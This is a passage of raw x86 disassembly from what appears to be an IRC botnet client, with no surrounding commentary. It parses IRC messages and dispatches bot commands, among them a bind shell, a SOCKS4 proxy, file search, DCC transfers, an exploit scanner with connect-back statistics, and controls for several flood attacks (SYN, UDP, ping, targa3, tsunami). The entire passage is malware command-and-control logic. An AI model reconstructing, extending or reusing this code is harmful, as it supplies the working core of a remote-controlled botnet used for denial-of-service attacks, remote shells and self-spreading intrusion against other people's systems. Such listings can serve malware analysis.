jz short loc_401F82
push eax
call sub_41B1D0
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_41B1D0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F82
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS ; ":%s%s"
push esi
call sub_41BA76
push ebx
lea eax, [ebp-45E8h]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 24h
jmp short loc_401F82
; ---------------------------------------------------------------------------
loc_401FEA: ; CODE XREF: seg000:00401ED9j
push esi
push offset aPart ; "PART"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_40200C
push esi
push offset aQuit ; "QUIT"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402037
loc_40200C: ; CODE XREF: seg000:00401FF9j
xor esi, esi
mov [ebp+14h], edi
loc_402011: ; CODE XREF: seg000:00402035j
mov eax, [ebp+14h]
cmp [eax], bl
jz short loc_40202A
push dword ptr [ebp-90h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_402078
loc_40202A: ; CODE XREF: seg000:00402016j
add dword ptr [ebp+14h], 80h
inc esi
cmp esi, 1
jl short loc_402011
loc_402037: ; CODE XREF: seg000:0040200Aj
push dword ptr [ebp-8Ch]
push offset a353 ; "353"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_4020D6
push dword ptr [ebp-80h]
push dword ptr [ebp+10h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40206B
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_40206B: ; CODE XREF: seg000:00402060j
push dword ptr [ebp-80h]
push offset unk_42E004
jmp loc_4098CE
; ---------------------------------------------------------------------------
loc_402078: ; CODE XREF: seg000:00402028j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
shl esi, 7
push offset unk_42DFE0
push eax
mov [esi+edi], bl
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
push dword ptr [ebp-8Ch]
push offset aPart ; "PART"
call sub_41C260
add esp, 18h
test eax, eax
jnz loc_401F82
lea eax, [ebp-2C0h]
push eax
mov eax, [ebp-90h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401EBD
; ---------------------------------------------------------------------------
loc_4020D6: ; CODE XREF: seg000:0040204Bj
push dword ptr [ebp-8Ch]
mov edi, offset aPrivmsg ; "PRIVMSG"
push edi
call sub_41C260
pop ecx
mov esi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40212A
push dword ptr [ebp-8Ch]
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_40212A
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_409753
cmp ds:dword_42A08C, ebx
jz loc_409753
loc_40212A: ; CODE XREF: seg000:004020F0j
; seg000:00402102j
push dword ptr [ebp-8Ch]
push edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40229D
push dword ptr [ebp-8Ch]
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40229D
mov eax, [ebp-84h]
inc dword ptr [ebp-80h]
mov dword ptr [ebp-0A4h], 4
mov [ebp-88h], eax
loc_40216F: ; CODE XREF: seg000:0040235Cj
; seg000:00402398j ...
mov eax, [ebp-0A4h]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi-90h]
mov eax, [edi]
push eax
push offset dword_42DFC4
mov [ebp+10h], eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_402539
push dword ptr [ebp+esi-8Ch]
push offset aSend_0 ; "SEND"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_402404
cmp [ebp-0A8h], ebx
jz loc_4023DA
push dword ptr [ebp+esi-88h]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp-1B7Ch]
push edi
push eax
call sub_41BA76
push dword ptr [ebp+esi-84h]
lea eax, [ebp-1B90h]
push edi
push eax
call sub_41BA76
push dword ptr [ebp+esi-80h]
call sub_41B969
mov [ebp-19F8h], eax
mov eax, [ebp+0Ch]
mov [ebp-1B98h], eax
lea eax, [ebp-0C0h]
push 7Fh
push eax
lea eax, [ebp-1A78h]
push eax
call sub_41B7E0
mov eax, [ebp-4]
mov [ebp-19F0h], eax
mov eax, [ebp-8]
mov [ebp-19ECh], eax
lea eax, [ebp-1A78h]
push eax
lea eax, [ebp-1B7Ch]
push eax
lea eax, [ebp-2C0h]
push offset unk_42DF88
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 1Ah
push eax
call sub_40AF71
add esp, 44h
mov [ebp-19F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1B98h]
push ebx
push eax
push (offset loc_416242+1)
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-19F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jz loc_409272
jmp loc_4023D0
; ---------------------------------------------------------------------------
loc_40229D: ; CODE XREF: seg000:0040213Aj
; seg000:00402150j
push dword ptr [ebp-8Ch]
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_4022B6
mov dword ptr [ebp-4], 1
loc_4022B6: ; CODE XREF: seg000:004022ADj
cmp [ebp-88h], ebx
jz loc_401F82
push offset dword_42DF84
push dword ptr [ebp-88h]
call sub_41BAF0
pop ecx
test eax, eax
pop ecx
jz short loc_4022DD
cmp [ebp-4], ebx
jz short loc_4022E9
loc_4022DD: ; CODE XREF: seg000:004022D6j
lea eax, [ebp-0C0h]
mov [ebp-88h], eax
loc_4022E9: ; CODE XREF: seg000:004022DBj
cmp [ebp-84h], ebx
jz loc_401F82
inc dword ptr [ebp-84h]
jz short loc_402333
cmp [ebp+18h], ebx
jz short loc_402333
lea eax, [ebp-334h]
push eax
call sub_41B1D0
push eax
lea eax, [ebp-334h]
push dword ptr [ebp-84h]
push eax
call sub_41C060
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp-0A4h], eax
jmp short loc_402339
; ---------------------------------------------------------------------------
loc_402333: ; CODE XREF: seg000:004022FBj
; seg000:00402300j
mov eax, [ebp-0A4h]
loc_402339: ; CODE XREF: seg000:00402331j
mov edi, eax
shl edi, 2
mov esi, [ebp+edi-90h]
cmp esi, ebx
jz loc_401F82
push esi
push offset dword_42DF78
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40216F
mov ecx, [ebp-88h]
cmp byte ptr [ecx], 23h
jz short loc_402389
mov eax, ds:dword_4CDAAC
mov eax, ds:off_42A158[eax*4]
cmp [eax], bl
jz short loc_402389
push eax
push ecx
push offset dword_42DF5C
jmp loc_401EBD
; ---------------------------------------------------------------------------
loc_402389: ; CODE XREF: seg000:0040236Bj
; seg000:0040237Bj
push esi
push offset dword_42DF54
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40216F
mov edi, [ebp+edi-8Ch]
cmp edi, ebx
jz loc_40216F
mov eax, [ebp-88h]
cmp byte ptr [eax], 23h
jz loc_40216F
push edi
push eax
push offset dword_42DF3C
jmp loc_401EBD
; ---------------------------------------------------------------------------
loc_4023C8: ; CODE XREF: seg000:004023D6j
push 32h
call ds:dword_428064 ; Sleep
loc_4023D0: ; CODE XREF: seg000:00402298j
cmp [ebp-19E8h], ebx
jz short loc_4023C8
jmp short loc_4023FC
; ---------------------------------------------------------------------------
loc_4023DA: ; CODE XREF: seg000:004021BCj
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset unk_42DEF8
push eax
call sub_41BA76
add esp, 10h
loc_4023FC: ; CODE XREF: seg000:004023D8j
; seg000:00402512j ...
xor esi, esi
inc esi
jmp loc_406CA3
; ---------------------------------------------------------------------------
loc_402404: ; CODE XREF: seg000:004021B0j
push dword ptr [ebp+esi-8Ch]
push offset aChat ; "CHAT"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40254F
cmp [ebp-0A8h], ebx
jz loc_402528
push 1Bh
call sub_40B1B3
test eax, eax
pop ecx
jnz loc_402517
push dword ptr [ebp+esi-84h]
lea eax, [ebp-2AA4h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
push dword ptr [ebp+esi-80h]
call sub_41B969
mov [ebp-290Ch], eax
mov eax, [ebp+0Ch]
mov [ebp-2AACh], eax
lea eax, [ebp-0C0h]
push 7Fh
push eax
lea eax, [ebp-298Ch]
push eax
call sub_41B7E0
mov eax, [ebp-4]
mov [ebp-2904h], eax
mov eax, [ebp-8]
mov [ebp-2900h], eax
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C0h]
push offset unk_42DECC
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 1Bh
push eax
call sub_40AF71
add esp, 34h
mov [ebp-2908h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2AACh]
push ebx
push eax
push offset dword_415CE0
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-2908h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40250A
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42DE94
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_402502: ; CODE XREF: seg000:00402510j
push 32h
call ds:dword_428064 ; Sleep
loc_40250A: ; CODE XREF: seg000:004024EFj
cmp [ebp-28FCh], ebx
jz short loc_402502
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_402517: ; CODE XREF: seg000:00402435j
lea eax, [ebp-0C0h]
push eax
push offset unk_42DE64
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_402528: ; CODE XREF: seg000:00402425j
lea eax, [ebp-0C0h]
push eax
push offset unk_42DE30
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_402539: ; CODE XREF: seg000:00402195j
mov eax, [ebp+10h]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_42A098
mov [edi], ecx
jnz loc_401F82
loc_40254F: ; CODE XREF: seg000:00402419j
mov edi, [edi]
push edi
push offset aHi ; "hi"
mov [ebp+10h], edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40975B
push edi
push offset aF ; "f"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40975B
cmp [ebp-0A8h], ebx
jnz short loc_4025A0
push dword ptr [ebp-8Ch]
push offset dword_42DFCC
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_409753
loc_4025A0: ; CODE XREF: seg000:00402584j
cmp [ebp+30h], ebx
jnz loc_409753
xor edi, edi
cmp ds:dword_42A488, ebx
jle loc_40274D
mov dword ptr [ebp+28h], offset dword_43FDB8
loc_4025BE: ; CODE XREF: seg000:004025DDj
push dword ptr [ebp+10h]
push dword ptr [ebp+28h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_4025E4
add dword ptr [ebp+28h], 0B8h
inc edi
cmp edi, ds:dword_42A488
jl short loc_4025BE
jmp loc_40274D
; ---------------------------------------------------------------------------
loc_4025E4: ; CODE XREF: seg000:004025CDj
push offset asc_42E0CC ; " :"
push dword ptr [ebp+8]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F82
mov cl, ds:byte_42A098
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_42A098
mov [eax+3], cl
lea ecx, dword_43FDD0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B7E0
lea eax, dword_43FDB8[edi]
add esp, 0Ch
mov dword ptr [ebp+28h], 0Fh
mov [ebp+14h], eax
lea edi, [ebp+esi-50h]
loc_40263F: ; CODE XREF: seg000:004026E2j
push dword ptr [ebp+28h]
lea eax, [ebp-0A0h]
push offset aD_1 ; "$%d-"
push eax
call sub_41BA76
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41BAF0
add esp, 14h
test eax, eax
jz short loc_4026A1
cmp [edi], ebx
jz short loc_4026A5
push dword ptr [ebp+14h]
call sub_41B1D0
add [ebp-0Ch], eax
pop ecx
jz short loc_4026D9
push dword ptr [edi-4]
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026D9
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4180DD
add esp, 0Ch
jmp short loc_4026D9
; ---------------------------------------------------------------------------
loc_4026A1: ; CODE XREF: seg000:00402667j
cmp [edi], ebx
jnz short loc_4026D9
loc_4026A5: ; CODE XREF: seg000:0040266Bj
lea eax, [ebp-0A0h]
push 2
push eax
lea eax, [ebp-94h]
push eax
call sub_41B7E0
lea eax, [ebp-94h]
mov [ebp-92h], bl
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4180DD
add esp, 18h
loc_4026D9: ; CODE XREF: seg000:00402679j
; seg000:0040268Aj ...
dec dword ptr [ebp+28h]
sub edi, 4
cmp [ebp+28h], ebx
jg loc_40263F
lea eax, [ebp+esi-50h]
mov dword ptr [ebp+28h], 10h
mov edi, eax
loc_4026F5: ; CODE XREF: seg000:00402741j
push dword ptr [ebp+28h]
lea eax, [ebp-0A0h]
push offset aD_0 ; "$%d"
push eax
call sub_41BA76
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41BAF0
add esp, 14h
test eax, eax
jz short loc_402738
mov eax, [edi]
cmp eax, ebx
jz short loc_402738
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4180DD
add esp, 0Ch
loc_402738: ; CODE XREF: seg000:0040271Dj
; seg000:00402723j
dec dword ptr [ebp+28h]
sub edi, 4
cmp [ebp+28h], ebx
jg short loc_4026F5
mov dword ptr [ebp-2C4h], 1
loc_40274D: ; CODE XREF: seg000:004025B1j
; seg000:004025DFj
mov eax, [ebp+10h]
mov al, [eax]
cmp al, ds:byte_42A098
jz short loc_402766
cmp [ebp-2C4h], ebx
jz loc_402952
loc_402766: ; CODE XREF: seg000:00402758j
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe ; "$me"
push edi
call sub_4180DD
lea eax, [ebp-0C0h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_4180DD
push dword ptr [ebp-88h]
push offset aChan ; "$chan"
push edi
call sub_4180DD
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40AF07
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_4180DD
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_1 ; "$server"
push edi
call sub_4180DD
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_41BAF0
add esp, 14h
jmp loc_4028CD
; ---------------------------------------------------------------------------
loc_4027DD: ; CODE XREF: seg000:004028CFj
push edi
push dword ptr [ebp+8]
call sub_41BAF0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-0A0h]
push eax
call sub_41B7E0
lea eax, [ebp-0A0h]
push offset asc_42DDE8 ; ")"
push eax
call sub_41C2E4
add esp, 1Ch
cmp byte ptr [ebp-0A0h], 30h
jl short loc_402821
cmp byte ptr [ebp-0A0h], 39h
jle short loc_402837
loc_402821: ; CODE XREF: seg000:00402816j
push 3
lea eax, [ebp-0A0h]
push offset a63 ; "63"
push eax
call sub_41B7E0
add esp, 0Ch
loc_402837: ; CODE XREF: seg000:0040281Fj
lea eax, [ebp-0A0h]
push eax
call sub_41B969
test eax, eax
pop ecx
jle short loc_40285D
lea eax, [ebp-0A0h]
push eax
call sub_41B969
pop ecx
mov [ebp-94h], al
jmp short loc_402871
; ---------------------------------------------------------------------------
loc_40285D: ; CODE XREF: seg000:00402846j
call sub_41BAD2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-94h], dl
loc_402871: ; CODE XREF: seg000:0040285Bj
lea eax, [ebp-0A0h]
mov [ebp-93h], bl
push eax
call sub_41B1D0
mov [ebp+28h], eax
push 0Ch
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_41B780
mov eax, [ebp+28h]
add eax, 6
push eax
lea eax, [ebp-0A0h]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
lea eax, [ebp-94h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4180DD
push edi
push dword ptr [ebp+8]
call sub_41BAF0
add esp, 30h
loc_4028CD: ; CODE XREF: seg000:004027D8j
test eax, eax
jnz loc_4027DD
mov edi, 1FFh
lea eax, [ebp-4484h]
push edi
push dword ptr [ebp+8]
push eax
call sub_41B7E0
lea eax, [ebp-4484h]
push edi
push eax
lea eax, [ebp-4AECh]
push eax
call sub_41B7E0
mov edi, offset asc_42E0C8 ; " "
lea eax, [ebp-4AECh]
push edi
push eax
call sub_41C2E4
add esp, 20h
mov [ebp-90h], eax
mov dword ptr [ebp+28h], 1
loc_402920: ; CODE XREF: seg000:0040293Aj
push edi
push ebx
call sub_41C2E4
pop ecx
pop ecx
mov ecx, [ebp+28h]
inc dword ptr [ebp+28h]
cmp dword ptr [ebp+28h], 20h
mov [ebp+ecx*4-90h], eax
jl short loc_402920
lea eax, [ebp+esi-90h]
mov ecx, [eax]
cmp ecx, ebx
jz loc_401F82
add ecx, 3
mov [eax], ecx
loc_402952: ; CODE XREF: seg000:00402760j
mov edi, [ebp+esi-90h]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+10h], edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409706
push edi
push offset aRn ; "rn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409706
push edi
push offset aDie ; "die"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404A27
push edi
push offset aD ; "d"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404A27
push edi
push offset aLogout ; "logout"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404989
push edi
push offset aLo ; "lo"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404989
push edi
push offset aVersion ; "version"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40497A
push edi
push offset aVer ; "ver"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40497A
push edi
push offset aDedication ; "dedication"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404970
push edi
push offset aDed ; "ded"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404970
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404957
push edi
push offset aSt ; "st"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404957
push edi
push offset aSecure ; "secure"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40485A
push edi
push offset aSec ; "sec"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40485A
push edi
push offset aUnsecure ; "unsecure"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40485A
push edi
push offset aUnsec ; "unsec"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40485A
push edi
push offset aBindshell ; "bindshell"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404755
push edi
push offset aBd ; "bd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404755
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402AFF
push dword ptr [ebp+esi-8Ch]
push 6
push offset aServer ; "Server"
push offset dword_42DD3C
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402AFF: ; CODE XREF: seg000:00402AE5j
push edi
push offset aSocks4 ; "socks4"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404634
push edi
push offset aS4 ; "s4"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404634
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402B52
push dword ptr [ebp+esi-8Ch]
push 19h
push offset aServer ; "Server"
push offset dword_42DD14
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402B52: ; CODE XREF: seg000:00402B38j
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402B7B
push dword ptr [ebp+esi-8Ch]
push 9
push offset aServer ; "Server"
push offset dword_42DCF8
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402B7B: ; CODE XREF: seg000:00402B61j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402BA4
push dword ptr [ebp+esi-8Ch]
push 3
push offset aServer ; "Server"
push offset dword_42DCDC
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402BA4: ; CODE XREF: seg000:00402B8Aj
push edi
push offset aLogstop ; "logstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402BCD
push dword ptr [ebp+esi-8Ch]
push 25h
push offset dword_42DCC8
push offset dword_42DCBC
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402BCD: ; CODE XREF: seg000:00402BB3j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402BF6
push dword ptr [ebp+esi-8Ch]
push 18h
push offset dword_42DC9C
push offset dword_42DC8C
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402BF6: ; CODE XREF: seg000:00402BDCj
push edi
push offset dword_42DC80
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402C1F
push dword ptr [ebp+esi-8Ch]
push 0Dh
push offset dword_42DC74
push offset dword_42DC68
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402C1F: ; CODE XREF: seg000:00402C05j
push edi
push offset aSynstop ; "synstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402C48
push dword ptr [ebp+esi-8Ch]
push 0Eh
push offset dword_42DC54
push offset dword_42DC48
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402C48: ; CODE XREF: seg000:00402C2Ej
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402C71
push dword ptr [ebp+esi-8Ch]
push 10h
push offset dword_42DC2C
push offset dword_42DC1C
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402C71: ; CODE XREF: seg000:00402C57j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402C9A
push dword ptr [ebp+esi-8Ch]
push 11h
push offset dword_42DC00
push offset dword_42DBF0
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402C9A: ; CODE XREF: seg000:00402C80j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402CC3
push dword ptr [ebp+esi-8Ch]
push 12h
push offset dword_42DBD8
push offset dword_42DBCC
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402CC3: ; CODE XREF: seg000:00402CA9j
push edi
push offset aPacketstop ; "packetstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_402E19
mov esi, [ebp+esi-8Ch]
mov edi, [ebp+0Ch]
push esi
push 0Dh
push offset dword_42DC74
push offset dword_42DC68
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
push esi
push 0Eh
push offset dword_42DC54
push offset dword_42DC48
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
add esp, 40h
push esi
push 17h
push offset dword_42DBB4
push offset dword_42DBA8
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
push esi
push 16h
push offset dword_42DB9C
push offset dword_42DB90
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
add esp, 40h
push esi
push 11h
push offset dword_42DC00
push offset dword_42DBF0
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
push esi
push 12h
push offset dword_42DBD8
push offset dword_42DBCC
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
add esp, 40h
push esi
push 0Fh
push offset dword_42DB80
push offset dword_42DB70
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
push esi
push 13h
push offset dword_42DB60
push offset dword_42DB50
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
add esp, 40h
push esi
push 10h
push offset dword_42DC2C
push offset dword_42DC1C
push 1
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push edi
call sub_40B1F9
push ebx
push dword ptr [ebp-4]
push offset unk_42DB1C
push dword ptr [ebp-88h]
push edi
call sub_409966
add esp, 34h
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_402E19: ; CODE XREF: seg000:00402CD2j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402E42
push dword ptr [ebp+esi-8Ch]
push 0Fh
push offset dword_42DB80
push offset dword_42DB70
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402E42: ; CODE XREF: seg000:00402E28j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402E6B
push dword ptr [ebp+esi-8Ch]
push 13h
push offset dword_42DB60
push offset dword_42DB50
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402E6B: ; CODE XREF: seg000:00402E51j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402E94
push dword ptr [ebp+esi-8Ch]
push 17h
push offset dword_42DBB4
push offset dword_42DBA8
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402E94: ; CODE XREF: seg000:00402E7Aj
push edi
push offset aPingstop ; "pingstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402EBD
push dword ptr [ebp+esi-8Ch]
push 16h
push offset dword_42DB9C
push offset dword_42DB90
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402EBD: ; CODE XREF: seg000:00402EA3j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402EE6
push dword ptr [ebp+esi-8Ch]
push 5
push offset aServer ; "Server"
push offset dword_42DAD4
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402EE6: ; CODE XREF: seg000:00402ECCj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404605
push edi
push offset aFfstop ; "ffstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404605
push edi
push offset aProcsstop ; "procsstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045F0
push edi
push offset aPsstop ; "psstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045F0
push edi
push offset aClonestop ; "clonestop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402F63
push dword ptr [ebp+esi-8Ch]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42DA84
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402F63: ; CODE XREF: seg000:00402F49j
push edi
push offset aSecurestop ; "securestop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402F8C
push dword ptr [ebp+esi-8Ch]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42DA60
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402F8C: ; CODE XREF: seg000:00402F72j
push edi
push offset aScanstop ; "scanstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_402FB5
push dword ptr [ebp+esi-8Ch]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42DA40
jmp loc_404618
; ---------------------------------------------------------------------------
loc_402FB5: ; CODE XREF: seg000:00402F9Bj
push edi
push offset aScanstats ; "scanstats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045DA
push edi
push offset aStats ; "stats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045DA
push edi
push offset aTransferstats ; "transferstats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045C4
push edi
push offset aTrstats ; "trstats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045C4
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045AE
push edi
push offset aCbstats ; "cbstats"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4045AE
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404598
push edi
push offset aExplist ; "explist"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404598
push edi
push offset aReconnect ; "reconnect"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404579
push edi
push offset aR ; "r"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404579
push edi
push offset aDisconnect ; "disconnect"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404557
push edi
push offset aDc ; "dc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404557
push edi
push offset aQuit_0 ; "quit"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40450E
push edi
push offset aQ ; "q"
call sub_41C260
